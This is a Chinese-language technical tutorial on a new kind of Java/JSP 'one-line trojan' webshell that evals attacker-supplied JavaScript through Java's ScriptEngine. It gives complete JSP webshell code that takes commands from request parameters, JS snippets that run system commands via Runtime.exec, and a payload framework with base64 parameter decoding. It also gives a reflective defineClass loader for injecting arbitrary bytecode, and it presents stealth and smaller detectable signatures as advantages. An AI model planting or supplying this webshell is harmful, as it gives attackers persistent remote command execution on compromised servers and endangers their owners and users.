一种新型Java一句话木马的实现
字数 1553 2025-08-05 08:19:01

新型Java一句话木马实现技术详解

一、技术背景与原理

1.1 传统Java一句话木马的局限性

  • 采用打入字节码defineClass实现
  • 优势:可完整打入类,实现几乎所有Java功能
  • 不足:
    • Payload体积过大
    • 修改不便
    • 存在明显特征(继承ClassLoader、反射调用defineClass等)

1.2 新型Java一句话木马原理

  • 利用Java中的JS引擎实现
  • 核心思路:
    1. Java没有eval函数,但JS有eval函数
    2. Java从1.6开始自带ScriptEngineManager类,原生支持调用JS
    3. ScriptEngine支持在JS中调用Java对象

二、基础实现方法

2.1 获取脚本引擎的三种方式

// 通过脚本名称获取
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); // 简写为js也可以

// 通过文件扩展名获取
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");

// 通过MIME类型获取
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");

2.2 绑定对象方法

// 方法1:直接put
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

// 方法2:通过SimpleBindings
new javax.script.ScriptEngineManager().getEngineByName("js").eval(
    request.getParameter("ant"), 
    new javax.script.SimpleBindings(new java.util.HashMap() {{
        put("response", response);
        put("request", request);
    }})
);

2.3 完整JSP实现

<%-- 方式1 --%>
<%
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("mr6"));
%>

<%-- 方式2(精简版) --%>
<%
    new javax.script.ScriptEngineManager().getEngineByName("js").eval(
        request.getParameter("mr6"), 
        new javax.script.SimpleBindings(new java.util.HashMap() {{
            put("response", response);
            put("request", request);
        }})
    );
%>

三、JS引擎语法详解

3.1 基本语法规则

调用Java方法

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();

导入Java类型

// Rhino和Nashorn通用
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;

// 仅Nashorn支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")

创建Java类型数组

// Rhino方式
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn方式
var IntArray = Java.type("int[]")
var array = new IntArray(8)

3.2 导入Java类

传统导入方式

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

作用域导入(防止污染)

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

3.3 方法调用与重载处理

// 常规调用
var System = Java.type('java.lang.System');
System.out.println('Hello, World');

// 指定重载版本
System.out['println'](3.14);          // 自动选择
System.out['println(double)'](3.14);  // 指定double版本
System.out['println(int)'](3.14);     // 指定int版本

四、Payload结构设计

4.1 基础框架

// 导入基础拓展
try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}

// 导入常见包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);

var output = new StringBuffer(""); // 输出
var cs = "${jspencode}"; // 字符集编码
var tag_s = "${tag_s}"; // 开始符号
var tag_e = "${tag_e}"; // 结束符号

try {
  response.setContentType("text/html");
  request.setCharacterEncoding(cs);
  response.setCharacterEncoding(cs);
  
  function decode(str) {
    // 参数解码
    str = str.substr(2);
    var bt = Base64DecodeToByte(str);
    return new java.lang.String(bt, cs);
  }
  
  function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }
  
  function asoutput(str) {
    // 回显加密
    return str;
  }
  
  function func(z1) {
    // eval function
    return z1;
  }
  
  output.append(func(z1)); // 添加功能函数回显
} catch (e) {
  output.append("ERROR:// " + e.toString()); // 输出错误
}

try {
  response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); // 回显
} catch (e) {}

五、技术难点与解决方案

5.1 跨语言类型转换问题

类型对比表

JavaScript值 JavaScript类型 Java类型 是否可脚本化 是否是函数
{a:1, b:['x','y']} object org.mozilla.javascript.NativeObject + -
[1,2,3] object org.mozilla.javascript.NativeArray + -
1 number java.lang.Double - -
"test" string java.lang.String - -
function(){} function org.mozilla.javascript.gen.c1 + +

5.2 引擎差异问题

Rhino与Nashorn差异

  • Java 6/7使用Rhino引擎
  • Java 8+使用Nashorn引擎
  • 主要差异:
    • 导入语法不同
    • 对混合Java/JS代码的解释方式不同

解决方案

// 使用Java迭代器替代JS for-in循环
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
  var key = iter.next();
  var val = cmdenv.get(key);
  e[i] = key + "=" + val;
  i++;
}

5.3 反射实现兼容性

传统Java反射实现

public byte[] Base64DecodeToByte(String str) {
    byte[] bt = null;
    String version = System.getProperty("java.version");
    try {
        if (version.compareTo("1.9") >= 0) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        } else {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        }
        return bt;
    } catch (Exception e) {
        return new byte[]{};
    }
}

JS简化实现

function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
}

六、兼容传统字节码方式

6.1 实现原理

  • 在JS引擎中调用defineClass
  • 可复用传统字节码Payload

6.2 实现代码

function define(Classdata, cmd) {
  var classBytes = Base64DecodeToByte(Classdata);
  var byteArray = Java.type("byte[]");
  var int = Java.type("int");
  var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
    "defineClass",
    byteArray.class,
    int.class,
    int.class
  );
  defineClassMethod.setAccessible(true);
  var cc = defineClassMethod.invoke(
    Thread.currentThread().getContextClassLoader(),
    classBytes,
    0,
    classBytes.length
  );
  return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}

七、测试与验证

7.1 测试环境

  • Java版本:≥6
  • 功能验证:
    • 命令执行
    • 文件操作
    • 数据库连接
    • 虚拟终端

7.2 优势对比

指标 传统字节码方式 新型JS引擎方式
数据包长度 7378字节 2481字节
灵活性 较低 较高
隐蔽性 较差 较好
兼容性 Java全版本 Java≥6

八、总结与建议

8.1 技术特点

  • 体积更小(约为传统方式的1/3)
  • 变化种类更多
  • 使用更灵活
  • 兼容Java 6及以上版本

8.2 适用场景

  • 需要隐蔽性较高的场景
  • 传输带宽受限的环境
  • 需要快速修改Payload的情况

8.3 注意事项

  • Payload编写和调试较复杂
  • 不同Java版本引擎行为有差异
  • 必要时可回退到传统字节码方式

附录:参考资源

  1. Java Scripting Programmer's Guide
  2. 项目实现地址
新型Java一句话木马实现技术详解 一、技术背景与原理 1.1 传统Java一句话木马的局限性 采用打入字节码defineClass实现 优势:可完整打入类,实现几乎所有Java功能 不足: Payload体积过大 修改不便 存在明显特征(继承ClassLoader、反射调用defineClass等) 1.2 新型Java一句话木马原理 利用Java中的JS引擎实现 核心思路: Java没有eval函数,但JS有eval函数 Java从1.6开始自带ScriptEngineManager类,原生支持调用JS ScriptEngine支持在JS中调用Java对象 二、基础实现方法 2.1 获取脚本引擎的三种方式 2.2 绑定对象方法 2.3 完整JSP实现 三、JS引擎语法详解 3.1 基本语法规则 调用Java方法 导入Java类型 创建Java类型数组 3.2 导入Java类 传统导入方式 作用域导入(防止污染) 3.3 方法调用与重载处理 四、Payload结构设计 4.1 基础框架 五、技术难点与解决方案 5.1 跨语言类型转换问题 类型对比表 | JavaScript值 | JavaScript类型 | Java类型 | 是否可脚本化 | 是否是函数 | |-------------|----------------|----------|--------------|------------| | {a:1, b:[ 'x','y' ]} | object | org.mozilla.javascript.NativeObject | + | - | | [ 1,2,3 ] | object | org.mozilla.javascript.NativeArray | + | - | | 1 | number | java.lang.Double | - | - | | "test" | string | java.lang.String | - | - | | function(){} | function | org.mozilla.javascript.gen.c1 | + | + | 5.2 引擎差异问题 Rhino与Nashorn差异 Java 6/7使用Rhino引擎 Java 8+使用Nashorn引擎 主要差异: 导入语法不同 对混合Java/JS代码的解释方式不同 解决方案 5.3 反射实现兼容性 传统Java反射实现 JS简化实现 六、兼容传统字节码方式 6.1 实现原理 在JS引擎中调用defineClass 可复用传统字节码Payload 6.2 实现代码 七、测试与验证 7.1 测试环境 Java版本:≥6 功能验证: 命令执行 文件操作 数据库连接 虚拟终端 7.2 优势对比 | 指标 | 传统字节码方式 | 新型JS引擎方式 | |------|----------------|----------------| | 数据包长度 | 7378字节 | 2481字节 | | 灵活性 | 较低 | 较高 | | 隐蔽性 | 较差 | 较好 | | 兼容性 | Java全版本 | Java≥6 | 八、总结与建议 8.1 技术特点 体积更小(约为传统方式的1/3) 变化种类更多 使用更灵活 兼容Java 6及以上版本 8.2 适用场景 需要隐蔽性较高的场景 传输带宽受限的环境 需要快速修改Payload的情况 8.3 注意事项 Payload编写和调试较复杂 不同Java版本引擎行为有差异 必要时可回退到传统字节码方式 附录:参考资源 Java Scripting Programmer's Guide 项目实现地址